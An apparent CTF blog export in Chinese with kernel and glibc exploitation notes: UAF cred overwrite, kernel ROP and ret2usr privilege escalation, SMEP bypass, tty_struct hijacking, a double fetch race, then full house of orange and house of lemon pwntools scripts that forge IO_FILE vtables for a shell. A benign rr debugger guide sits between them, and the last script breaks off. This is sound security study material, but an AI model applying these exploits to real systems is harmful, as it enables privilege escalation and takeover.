* in kernel space. This essentially lets the user take over * the kernel, since userspace controls RSP. * * If width of "canonical tail" ever becomes variable, this will need * to be updated to remain correct on both old and new CPUs. * * Change top bits to match most significant bit (47th or 56th bit * depending on paging mode) in the address. */#ifdef CONFIG_X86_5LEVEL ALTERNATIVE "shl $(64 - 48), %rcx; sar $(64 - 48), %rcx", \ "shl $(64 - 57), %rcx; sar $(64 - 57), %rcx", X86_FEATURE_LA57#else shl $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx sar $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx#endif /* If this changed %rcx, it was not canonical */ cmpq %rcx, %r11 jne swapgs_restore_regs_and_return_to_usermode cmpq $__USER_CS, CS(%rsp) /* CS must match SYSRET */ jne swapgs_restore_regs_and_return_to_usermode movq R11(%rsp), %r11 cmpq %r11, EFLAGS(%rsp) /* R11 == RFLAGS */ jne swapgs_restore_regs_and_return_to_usermode /* * SYSCALL clears RF when it saves RFLAGS in R11 and SYSRET cannot * restore RF properly. If the slowpath sets it for whatever reason, we * need to restore it correctly. * * SYSRET can restore TF, but unlike IRET, restoring TF results in a * trap from userspace immediately after SYSRET. This would cause an * infinite loop whenever #DB happens with register state that satisfies * the opportunistic SYSRET conditions. For example, single-stepping * this user code: * * movq $stuck_here, %rcx * pushfq * popq %r11 * stuck_here: * * would never get past 'stuck_here'. */ testq $(X86_EFLAGS_RF|X86_EFLAGS_TF), %r11 jnz swapgs_restore_regs_and_return_to_usermode /* nothing to check for RSP */ cmpq $__USER_DS, SS(%rsp) /* SS must match SYSRET */ jne swapgs_restore_regs_and_return_to_usermode /* * We win! This label is here just for ease of understanding * perf profiles. Nothing jumps here. */syscall_return_via_sysret: /* rcx and r11 are already restored (see code above) */ POP_REGS pop_rdi=0 skip_r11rcx=1 /* * Now all regs are restored except RSP and RDI. * Save old stack pointer and switch to trampoline stack. */ movq %rsp, %rdi movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp //取回用户rsp UNWIND_HINT_EMPTY pushq RSP-RDI(%rdi) /* RSP */ pushq (%rdi) /* RDI */ /* * We are on the trampoline stack. All regs except RDI are live. * We can do future final exit work right here. */ STACKLEAK_ERASE_NOCLOBBER SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi popq %rdi popq %rsp USERGS_SYSRET64END(entry_SYSCALL_64)</code></pre><h3 id="CISCN2017-babydriver-UAF"><a href="#CISCN2017-babydriver-UAF" class="headerlink" title="[CISCN2017 - babydriver]UAF"></a>[CISCN2017 - babydriver]UAF</h3><p>open两个device,uaf一个cred大小的块(0xa8)再fork。</p><p>调试时发现的点:</p><p>1.好像没有换行符就不会输出到终端</p><pre><code>printf("now uid is %d\n",getuid());这样可以输出printf("now uid is %d",getuid());这样输出不了puts("123123");可以输出</code></pre><p>2.父进程要wait一下</p><pre><code>wait(NULL);</code></pre><p>3.覆盖cred时0x4*5不够,0x4*6够了</p><pre><code>char buf[0x30] = {0};write(fd2, buf, 0x4*6);</code></pre><p>是否意味着euid是真正起作用的位呢?</p><pre><code>struct cred { atomic_t usage; //int大小 //这些都是int大小 typedef int uid_t; typedef int gid_t; kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */</code></pre><h3 id="QWB2018-core-ROP"><a href="#QWB2018-core-ROP" class="headerlink" title="[QWB2018-core]ROP"></a>[QWB2018-core]ROP</h3><p>通过 ioctl 设置 off,然后通过 core_read() leak 出 canary</p><p>通过 core_write() 向 name 写,构造 ropchain</p><p>通过 core_copy_func() 从 name 向局部变量上栈溢出,通过设置合理的长度和 canary 进行 rop</p><p>通过 rop 执行 commit_creds(prepare_kernel_cred(0))</p><p>返回用户态,通过 system(“/bin/sh”) 等起 shell</p><ul><li><p>如何获得 commit_creds(),prepare_kernel_cred() 的地址?</p></li><li><ul><li>/tmp/kallsyms 中保存了这些地址,可以直接读取,同时根据偏移固定也能确定 gadgets 的地址</li></ul></li><li><p>如何返回用户态?</p></li><li><ul><li>swapgs; iretq,之前说过需要设置 cs, rflags 等信息,可以在main最开始写一个函数保存这些信息</li></ul></li></ul><p>[收获]</p><p>很多内核pwn题都会用像proc_create这种函数创建一个文件,qemu起系统后在/proc下可以看到对应的文件名;相当于这个驱动给创建了一个自身在内核中的映像。</p><p>比如说一个驱动在init中执行了proc_create(“core”, 0x1B6LL, 0LL, &core_fops),文件名是“core”,而且在回调中实现了ioctl,那么其他用户程序就可以先fopen这个core获取文件指针fd,然后执行ioctl(fd,,)来进行具体操作,其他的fop中的回调接口函数也类似。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20211207230213.png"></p><pre><code>int fd = open("/proc/core", 2);</code></pre><p>内核模块程序的结构中包括一些callback回调表,对应的函数存在一个file_operations(fop)结构体中,这也是对我们pwn手来说最重要的结构体;结构体中实现了的回调函数就会静态初始化上函数地址,而未实现的函数,值为NULL。</p><p>其中,module_init/module_exit是在载入/卸载这个驱动时自动运行;而fop结构体实现了如上四个callback,冒号右侧的函数名是由开发者自己起的,在驱动程序载入内核后,其他用户程序程序就可以借助文件方式(后面将提到)像进行系统调用一样调用这些函数实现所需功能。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20211207230310.png"></p><p>进内核态之前做的事情:swapgs、交换栈顶、push寄存器</p><p>在着陆时(返回用户态时)执行swapgs; iretq(寄存器和栈顶用iret恢复),iretq需要设置 cs, ss,rsp,rflags 等信息,可以写一个函数保存这些信息。iretq恢复当初push保存的寄存器时,栈顶并不在当初的位置,这就需要我们在栈溢出的payload中构造上且要注意顺序,因此我们的这个save_stat函数正是做到了预先将这五个决定能否平安着陆的寄存器保存到用户变量里,然后在payload里按顺序部署好,最后也就保证了成功的着陆回用户空间。</p><p>注意进kernel时这五个寄存器最后做的是push保存了进之前的eip也就是用户空间的eip,我们的payload中将这个位置的值设置成get_shell函数的地址,回归以后就直接去执行get_shell了!</p><p>exp中保存关键寄存器的asm汇编代码</p><pre><code>// musl-gcc -static -masm=intel ./exp.c -o exp -w//savesize_t user_cs, user_ss, user_rflags, user_sp;void save_status(){ __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved.");}//rop chain rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret rop[i++] = 0; rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; rop[i++] = (size_t)spawn_shell; // rip rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;</code></pre><h3 id="QWB2018-core-ret2usr"><a href="#QWB2018-core-ret2usr" class="headerlink" title="[QWB2018-core]ret2usr"></a>[QWB2018-core]ret2usr</h3><p>与 kernel rop 做法不同的是 rop 链的构造:</p><ul><li>kernel rop 通过 内核空间的 rop 链达到执行 commit_creds(prepare_kernel_cred(0)) 以提权目的,之后通过 swapgs; iretq 等返回到用户态,执行用户空间的 system(“/bin/sh”) 获取 shell</li><li>ret2usr 做法中,直接返回到用户空间构造的 commit_creds(prepare_kernel_cred(0)) (通过函数指针实现)来提权,虽然这两个函数位于内核空间,但此时我们是 ring 0 特权,因此可以正常运行。之后也是通过 swapgs; iretq 返回到用户态来执行用户空间的 system(“/bin/sh”)</li></ul><p>[理解]为什么内核态可以运行用户态的代码?内核态和用户态的段选择子不是不同的吗?事实上段选择子在地址的选择上已经是相同的、覆盖全部地址空间的了,只有特权的区别了。</p><h3 id="CISCN2017-babydriver-bypass-smep"><a href="#CISCN2017-babydriver-bypass-smep" class="headerlink" title="[CISCN2017 - babydriver]bypass-smep"></a>[CISCN2017 - babydriver]bypass-smep</h3><p>为了防止 ret2usr 攻击,内核开发者提出了 smep 保护,smep 全称 Supervisor Mode Execution Protection,是内核的一种保护措施,作用是当 CPU 处于 ring0 模式时,执行用户空间的代码 会触发页错误;这个保护在 arm 中被称为 PXN。</p><ul><li>为了关闭 smep 保护,常用一个固定值 0x6f0,即 mov cr4, 0x6f0。</li></ul><pre><code>rop[i++] = 0xffffffff810d238d; // pop rdi; ret;rop[i++] = 0x6f0;rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;rop[i++] = 0;rop[i++] = (size_t)get_root;</code></pre><ul><li>这里选取的方法是先通过 uaf 控制一个 tty_struct 结构(大小0x2e0)。在 open(“/dev/ptmx”, O_RDWR) 时会分配一个tty_struct 结构体,其指向一个全是函数指针的tty_operations(偏移 0x18)</li></ul><pre><code>fake_tty_struct fake_tty_operations+---------+ +----------+|magic | +-->|evil 1 |+---------+ | +----------+|...... | | |evil 2 ||...... | | +----------++---------+ | |evil 3 ||*ops |--+ +----------++---------+ |evil 4 ||...... | +----------+|...... | |...... |+---------+ +----------+struct tty_struct { int magic; struct kref kref; //int struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; //offset 24 .... }struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); void (*flush_chars)(struct tty_struct *tty); int (*write_room)(struct tty_struct *tty); int (*chars_in_buffer)(struct tty_struct *tty); int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); void (*set_termios)(struct tty_struct *tty, struct ktermios * old); void (*throttle)(struct tty_struct * tty); void (*unthrottle)(struct tty_struct * tty); void (*stop)(struct tty_struct *tty); void (*start)(struct tty_struct *tty); void (*hangup)(struct tty_struct *tty); int (*break_ctl)(struct tty_struct *tty, int state); void (*flush_buffer)(struct tty_struct *tty); void (*set_ldisc)(struct tty_struct *tty); void (*wait_until_sent)(struct tty_struct *tty, int timeout); void (*send_xchar)(struct tty_struct *tty, char ch); int (*tiocmget)(struct tty_struct *tty); int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear); int (*resize)(struct tty_struct *tty, struct winsize *ws); int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew); int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount); void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);#ifdef CONFIG_CONSOLE_POLL int (*poll_init)(struct tty_driver *driver, int line, char *options); int (*poll_get_char)(struct tty_driver *driver, int line); void (*poll_put_char)(struct tty_driver *driver, int line, char ch);#endif int (*proc_show)(struct seq_file *, void *);} __randomize_layout;</code></pre><p>这里还有一个trick是,当执行到tty_operations里的函数指针时,rax是指向tty_operations的指针,所以用一个mov rsp,rax ; 或xchg rsp,rax 就可以以tty_operations[0]为栈顶,构造rop链。</p><h3 id="2018-0CTF-Finals-Baby-Kernel-Double-Fetch"><a href="#2018-0CTF-Finals-Baby-Kernel-Double-Fetch" class="headerlink" title="[2018 0CTF Finals Baby Kernel]Double Fetch"></a>[2018 0CTF Finals Baby Kernel]Double Fetch</h3><p>当 ioctl 中 cmd 参数为 0x6666 时,驱动将用 printk 输出 flag 的加载地址(可以用dmesg查看)。</p><p>当 ioctl 中 cmd 参数为 0x1337 时,首先进行三个校验,接着对用户输入的内容与硬编码的 flag 进行逐字节比较,当一致时通过 printk 将 flag 输出出来。</p><p>解题:</p><p>当用户输入数据通过验证后,再将 flag_str 所指向的地址改为 flag 硬编码地址后,即会输出 flag 内容。</p><p>首先,利用提供的 cmd=0x6666 功能,获取内核中 flag 的加载地址。</p><p>然后,构造符合 cmd=0x1337 功能的数据结构,其中 flag_len 可以从硬编码中直接获取为 33, flag_str 指向一个用户空间地址。</p><p>最后,创建一个恶意线程,不断的将 flag_str 所指向的用户态地址修改为 flag 的内核地址以制造竞争条件,从而使其通过驱动中的逐字节比较检查,输出 flag 内容。</p><h3 id="CTF-2019-hackme-堆越界读写"><a href="#CTF-2019-hackme-堆越界读写" class="headerlink" title="[*CTF 2019 hackme]堆越界读写"></a>[*CTF 2019 hackme]堆越界读写</h3><p>内核堆类似没有头的fastbin,利用堆越界读,泄露堆地址</p><p>在堆上留一个tty_struct,利用它泄露地址、控制tty_operations劫持控制流。</p><h3 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h3><p><a href="https://ctf-wiki.org/pwn/linux/user-mode/environment/">https://ctf-wiki.org/pwn/linux/user-mode/environment/</a></p><p><a href="http://p4nda.top/2019/05/01/starctf-2019-hackme/#%E5%86%85%E5%AD%98%E4%BB%BB%E6%84%8F%E5%86%99">http://p4nda.top/2019/05/01/starctf-2019-hackme/#内存任意写</a></p>]]></content>
<tags>
<tag> PWN </tag>
</tags>
</entry>
<entry>
<title>调试工具rr</title>
<link href="rr/"/>
<url>rr/</url>
<content type="html"><![CDATA[<p>收获新工具 rr,功能差不多就是在gdb上加一个倒放功能,网上一搜居然没有中文资料,所以记录一下。github地址:<a href="https://github.com/mozilla/rr">https://github.com/mozilla/rr</a></p><p>以下安装配置基于Ubuntu16.04,其余环境可以参考<a href="https://github.com/mozilla/rr/wiki/Building-And-Installing">官方文档</a>。</p><h5 id="安装配置"><a href="#安装配置" class="headerlink" title="安装配置"></a>安装配置</h5><p>安装依赖环境:</p><pre><code>sudo apt-get install ccache cmake make g++-multilib gdb \ pkg-config coreutils python3-pexpect manpages-dev git \ ninja-build capnproto libcapnp-dev</code></pre><p>下载rr编译:</p><pre><code>git clone https://github.com/mozilla/rr.gitmkdir obj && cd objcmake ../rrmake -j8sudo make install</code></pre><p>中间会报几个错,sudo + pip3安装缺少的包即可。</p><p>配置:</p><p>1.开启性能计数器,在虚拟机配置里找一下。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200318020601.png"></p><p>2./proc/sys/kernel/perf_event_paranoid<=1</p><pre><code>suecho 1 > /proc/sys/kernel/perf_event_paranoid</code></pre><h5 id="用法"><a href="#用法" class="headerlink" title="用法"></a>用法</h5><pre><code>rr record /path/to/my/program --argsrr replay</code></pre><p><code>rr record</code>很有可能还会报错,按报错再配置一下。如果<code>rr replay</code>进入了<code>gdb</code>界面,那就算是大功告成了。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200318020504.png"></p><p>核心功能:</p><p>有了rr,gdb的 <code>reverse-continue</code>、 <code>reverse-step</code>、 <code>reverse-next</code>、 <code>reverse-finish</code> 就都可以用了,<code>reverse-xxx</code>就是运行方向是倒着的xxx。</p><pre><code>reverse-continuereverse-step reverse-nextreverse-finish</code></pre><p>官方推荐的用法是<code>reverse-xxx</code>和<code>watch</code>一起用。先<code>watch</code>再<code>reverse-continue</code>就可以来到变量修改的地方。value的Old和New是按<code>reverse-continue</code>命令执行前后算的,执行前是Old value,执行后是New value。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200318012358.png"></p><p>watch最好加参数<code>-l</code>,如果不加 <code>-l</code>可能会非常缓慢或明显存在错误。</p><p>帮助:</p><p>运行<code>rr -H</code>或<code>rr --help</code>。</p><p>常规选项:</p><ul><li><code>-V, --verbose</code>:记录可能对用户不紧急的消息。</li><li><code>-M, --mark-stdio</code>:在每条stdio输出行之前写入“当前事件编号”</li></ul><p>记录器参数:</p><ul><li><code>-c, --num-cpu-ticks=</code>:允许任务在中断之前运行的“ CPU ticks”(当前无用的条件分支)的最大数量。</li><li><code>-e, --num-events=</code>:在调度任务之前允许任务的最大事件数(系统调用进入/退出,信号,CPU中断等)。</li></ul><p>在不同的调度参数下记录跟踪可以帮助重现不确定的错误。rr的调度程序是相对确定的。</p><p>重播参数:</p><ul><li><code>-f, --onfork=</code>:fork时调试</li><li><code>-p, --onprocess=</code>:执行时进行调试</li><li><code>-g, --goto=</code>:向前执行,直到在调试之前达到事件为止</li></ul><p>具体的看官方讲的用法吧,我没看懂event具体是什么含义,所以<code>-M</code>、<code> -g</code>、<code> when</code>还是不太懂,就不瞎说了,但是有这个倒放已经够香了。<a href="https://github.com/mozilla/rr/wiki/Usage">https://github.com/mozilla/rr/wiki/Usage</a></p><h5 id="注意"><a href="#注意" class="headerlink" title="注意"></a>注意</h5><ul><li><p>rr不适用于amd。</p></li><li><p>rr不能安全地处理恶意代码。如果您在基于<code>seccomp</code>或命名空间的沙箱中记录运行不受信任的代码的应用程序,rr会故意在沙箱中打孔,以方便记录沙盒代码。从理论上讲,攻击者可以设计恶意代码,以识别何时在rr下运行该恶意代码,并利用这些漏洞逃脱沙箱。</p></li><li><p>rr会影响性能。</p></li></ul>]]></content>
<tags>
<tag> TOOL </tag>
</tags>
</entry>
<entry>
<title>IOFILE题目小结</title>
<link href="IOFILE/"/>
<url>IOFILE/</url>
<content type="html"><![CDATA[<h3 id="源码调试"><a href="#源码调试" class="headerlink" title="源码调试"></a>源码调试</h3><p>要下载源码得先把sources.list的<code>deb-src</code>开头的注释去掉,更新一下</p><pre><code>sudo apt-get update sudo apt-get upgrade </code></pre><p>下载源码</p><pre><code>sudo apt-get source libc6-dev</code></pre><p>会报这么一个错,但是不影响用,暂且不管。</p><pre><code>W: Can't drop privileges for downloading as file 'glibc_2.23-0ubuntu11.dsc' couldn't be accessed by user '_apt'. - pkgAcquire::Run (13: Permission denied)</code></pre><p>在gdb里运行:</p><pre><code>directory ~/glibc/glibc-2.23/malloc/</code></pre><h3 id="seethefile-pwnable"><a href="#seethefile-pwnable" class="headerlink" title="seethefile-pwnable"></a>seethefile-pwnable</h3><p>这道题目解法就是改虚表。</p><h4 id="尚未解决的问题:fd怎么构造?"><a href="#尚未解决的问题:fd怎么构造?" class="headerlink" title="尚未解决的问题:fd怎么构造?"></a>尚未解决的问题:fd怎么构造?</h4><p>网上有两种构造方法</p><p>法一:fp的前两个字节+/bin/sh //fp的前两个字节有太重要的作用,建议不要动,</p><pre><code>'\x86\xb4\xad\xfb'+'||/bin/sh'</code></pre><p>但是我这个fd的前俩字节是’\x88\x24\xad\xfb’,我改成我自己的前俩字节,就跑不通了。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190817171647.png"></p><p>法二:????啥???居然能跑通</p><pre><code>'\xff\xff\xff\xff;$0\x00'</code></pre><h4 id="遇到一个很傻的问题"><a href="#遇到一个很傻的问题" class="headerlink" title="遇到一个很傻的问题"></a>遇到一个很傻的问题</h4><p>远程给的maps</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190817165506.png"></p><p>本地maps</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190817165631.png"></p><p>网上说 /proc/self/maps 可以看libc基址,但是我的为什么不显示?因为我目录深,而程序每次只读0x18f个字节,读两次就能读到libc基址了。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190817165906.png"></p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20190817170230.png"></p><p>困扰我好久,可能我傻吧</p><h3 id="houseoforange"><a href="#houseoforange" class="headerlink" title="houseoforange"></a>houseoforange</h3><p>打印结构体的偏移</p><pre><code>p &((struct _IO_FILE_plus*)0)->vtablep &((struct _IO_FILE*)0)->_chain</code></pre><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200225170039.png"></p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200225170154.png"></p><p>打印结构体内容</p><pre><code>p *_IO_list_all</code></pre><p><code>_IO_FILE</code>相关知识积累</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200225210245.png"></p><pre><code>1) 在malloc出错时,会调用malloc_printerr函数来输出错误信息2) malloc_printerr又会调用__libc_message3) __libc_message又调用abort4) abort则又调用了_IO_flush_all_lockp5) 最后_IO_flush_all_lockp中会调用到vtable中的_IO_OVERFLOW函数</code></pre><p><code>_IO_flush_all_lockp</code>源码如下</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200225210951.png"></p><h4 id="题目"><a href="#题目" class="headerlink" title="题目"></a>题目</h4><p>build次数共4次,大小限制在0x1000;upgrade共3次,无长度限制溢出,只能更新最近一次build的;有see;无free。</p><h4 id="利用"><a href="#利用" class="headerlink" title="利用"></a>利用</h4><ol><li>泄露libc;泄露堆地址:申请<code>largebin</code>大小的块,<code>fd_nextsize</code>和<code>bk_nextsize</code>残留在块里,因为目前<code>largebin</code>只有一个,所以都指向自己。</li><li><code>unsorted_bin_attack</code>,改<code>_IO_list_all</code>为<code>main_arena+0x58</code>(<code>unsortedbin</code>是<code>main_arena+0x68</code>)</li><li><code>_IO_file->_chain</code>的偏移是0x68,<code>main_arena+0x58</code>到<code>small[0x60]</code>的偏移是0x68,所以把块放到<code>small[0x60]</code>就相当于完全获得了一个<code>_IO_FILE</code>。</li></ol><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200225183456.png"></p><ol><li>构造<code>_IO_FILE</code>,需要满足下面条件:</li></ol><p>1)</p><pre><code>fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base</code></pre><p>或者</p><pre><code>_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base</code></pre><p>2)<code>vtable->_IO_OVERFLOW</code>要指向<code>system/gadget</code>,指向<code>system</code>的话还要再构造<code>fp</code>开头是<code>'/bin/sh\x00'</code></p><h4 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h4><pre><code class="python">from pwn import *debug=1context.log_level = 'debug'if debug: io = process('./houseoforange')else: io = remote("",1234)elf = ELF('./houseoforange')libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")s = lambda data :io.send(data) sa = lambda data1,data :io.sendafter(data1, data)sl = lambda data :io.sendline(data)sla = lambda data1,data :io.sendlineafter(data1, data)r = lambda numb=4096 :io.recv(numb)ru = lambda data1, drop=True :io.recvuntil(data1, drop)def build(length,name,price,color): #4 ru(b'Your choice : ') #malloc(0x10) sl('1') ru(b'Length of name :') #>0x1000 ->0x1000 malloc(length) sl(str(length)) ru(b'Name :') s(name) ru(b'Price of Orange:') #calloc(0x8) sl(price) ru(b'Color of Orange:') sl(color)def see(): ru(b'Your choice : ') sl('2') ru(b'Name of house : ') hi= ru('\n') ru(b'House of Orange') return hidef upg(length,name,price,color): #3 ru(b'Your choice : ') sl('3') ru(b'Length of name :') sl(str(length)) ru(b'Name:') s(name)#bytes.decode(name,"unicode-escape")) ru(b'Price of Orange:') sl(price) ru(b'Color of Orange:') sl(color)build(12,'123','1','1')c=p64(0x11111111)*3+p64(0x21)+p32(0x1)+p32(0x1f)+p64(0x0)#infopayload=c+p64(0x0)payload+=p64(0xfa1)upg(str(len(payload)),payload,'1','1')build(0x1000,'123','1','1')#leak libcbuild(0x400,'11111111','1','1')libc.address=u64((see()[8:]).ljust(8,b'\x00'))-3953032print(hex(libc.address))print(hex(libc.symbols['_IO_list_all']))#leak heappayload='1'*16upg(str(len(payload)),payload,'1','1')heapbase=u64((see()[16:]).ljust(8,b'\x00'))-0xc0print(hex(heapbase))#orangeonegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]c=p64(0)*3c+=p64(libc.address+onegadgets[3]) #vtablec=c.ljust(0x408,b'\x00')c+=p64(0x21)+p32(0x1)+p32(0x1f)+p64(0x0)#infoiofile=p64(0x0)#b'/bin/sh\x00' #IOfile / fdiofile+=p64(0x61) #offset(_IO_file->_chain)=0x68 (small[0x60]-main_arena+0x58)=0x68iofile+=p64(libc.address)iofile+=p64(libc.symbols['_IO_list_all']-0x10)#set _IO_list_all main_arena+0x58iofile=iofile.ljust(0x20,b'\x00')iofile+=p64(0)#_IO_file->_IO_write_baseiofile+=p64(1)#_IO_file->_IO_write_ptriofile=iofile.ljust(0xc0,b'\x00')iofile+=p64(0xffffffffffffffff)#_IO_file->modeiofile=iofile.ljust(0xd8,b'\x00')iofile+=p64(heapbase+0xd0)#_IO_file->vtablepayload=c+iofileupg(str(len(payload)),payload,'1','1')#getshellru(b'Your choice : ') #malloc(0x10)sl('1')io.interactive()</code></pre><h4 id="改进"><a href="#改进" class="headerlink" title="改进"></a>改进</h4><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200225235806.png"></p><p><a href="https://veritas501.space/2017/12/13/IO%20FILE%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/">大佬写的IOFILE构造脚本</a>,因为python3的bytes&str问题我照抄着加了下面的bytes函数。</p><pre><code class="python"> def __bytes__(self): fake_file = b"" with context.local(arch=self.arch): for item_offset in sorted(self.item_offset): if len(fake_file) < item_offset: fake_file += b"\x00"*(item_offset - len(fake_file)) fake_file += pack(self[_IO_FILE_plus[self.arch][item_offset]],word_size='all') fake_file += b"\x00"*(self.size - len(fake_file)) return fake_file</code></pre><p>exp变得清晰多了。</p><pre><code class="python">#orangeonegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]c=p64(0)*3c+=p64(libc.address+onegadgets[3]) #vtablec=c.ljust(0x408,b'\x00')c+=p64(0x21)+p32(0x1)+p32(0x1f)+p64(0x0)#infofrom FILE import *context.arch = 'amd64'iofile = IO_FILE_plus_struct()iofile._flags = u64('/bin/sh\x00')iofile._IO_read_ptr=0x61iofile._IO_read_base=libc.symbols['_IO_list_all']-0x10iofile._IO_write_base=0iofile._IO_write_ptr=1iofile._mode=0iofile.vtable=heapbase+0xd0payload=c+bytes(iofile)upg(str(len(payload)),payload,'1','1')</code></pre><h4 id="改进2"><a href="#改进2" class="headerlink" title="改进2"></a>改进2</h4><pre><code>def house_of_orange(head_addr, system_addr, io_list_all): payload = b'/bin/sh\x00' payload = payload + p64(0x61) + p64(0) + p64(io_list_all - 16) payload = payload + p64(0) + p64(1) + p64(0) * 9 + p64(system_addr) + p64(0) * 4 payload = payload + p64(head_addr + 18 * 8) + p64(2) + p64(3) + p64(0) + \ p64(0xffffffffffffffff) + p64(0) * 2 + p64(head_addr + 12 * 8) return payload</code></pre><h3 id="houseoflemon"><a href="#houseoflemon" class="headerlink" title="houseoflemon"></a>houseoflemon</h3><h4 id="题目分析"><a href="#题目分析" class="headerlink" title="题目分析"></a>题目分析</h4><p>题目给了十块钱买水果,mayer柠檬6块钱,ponderosa柠檬4块钱,买哪个没区别,但你不能买两个mayer,因为你钱不够:P</p><p>第三个功能是advice,可以完成分配(大小十进制的199-8000)、编辑、删除各一次。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200227200059.png"></p><p>买柠檬的信息是一个由一个FILO的双向链表保存,头位于data段。</p><p>增加节点代码:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200226214116.png"></p><p>删除节点代码:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200227115917.png"></p><p>而且可以随意修改最新节点的前向指针和后向指针。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200227120519.png"></p><p>这就可以达到一个任意地址写一个固定的值的效果,原理和unsorted_bin_attack一样。利用这一点改global_max_fast,为什么改global_max_fast,因为:</p><p>glibc在free的时候,会通过get_max_fast()获取global_max_fast,小于global_max_fast就根据fastbin_index放到fastbinY里。</p><pre><code>if ((unsigned long)(size) <= (unsigned long)(get_max_fast())</code></pre><p>fastbin_index是这样算的,具体就是<code>(size>>4)-2</code>,例如0x20的index是0,具体的算我也没算,我是调试调出来一个数。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200226231858.png"></p><p>就着写博客就仔细算一波。</p><pre><code>main_arena=0x7f6b0ce17b20stdout=0x7f6b0ce18620main_arena->fastbinY=0x7f6b0ce17b28stdout->vtable=0x7f6b0ce186f8offset=0xbd0->idx=0xbd0/8=0x17a->size=0x20+idx*0x10=0x17c0</code></pre><p>正好。</p><pre><code class="python">from pwn import *debug=1context.log_level = 'debug'if debug==1: io = process('./pwn500')elif debug==0: io = remote("",1234)elf = ELF('./pwn500')libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")s = lambda data :io.send(data) sa = lambda data1,data :io.sendafter(data1, data)sl = lambda data :io.sendline(data)sla = lambda data1,data :io.sendlineafter(data1, data)r = lambda numb=4096 :io.recv(numb)ru = lambda data1, drop=True :io.recvuntil(data1, drop)def Meyer(*aa): ru('Pls input your choice:') sl('1') for a in aa: ru('Pls Input your choice:') sl(str(a))def Ponderosa(*aa): ru('Pls input your choice:') sl('2') for a in aa: ru('Pls Input your choice:') sl(str(a)) if(a==4): ru('Get Input:') global c sl(c)def Leave(*aa): ru('Pls input your choice:') sl('3') for a in aa: r() sl(a)def Submit(): ru('Pls input your choice:') sl('4') ru('Pls input your phone number first:') s('1'*15) ru('Ok,Pls input your home address') sl('1'*40) ru(b'OK,your input is:') return u64((ru('\x0a')[40:]).ljust(8,b'\x00'))-224912libc.address=Submit()print(hex(libc.address))onegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]onegadgets=[283158 ,283242 ,839923 ,840136 ,983716 ,983728 ,987463 ,1009392]stdout=0x1460+25*16+28*16#0x17c0-8stderr=0x1460+25*16#c=b'|sh\x00'.ljust(8,b'\x00')c=p64(libc.symbols['system'])*30##c+=p64(libc.address+onegadgets[1])*30# 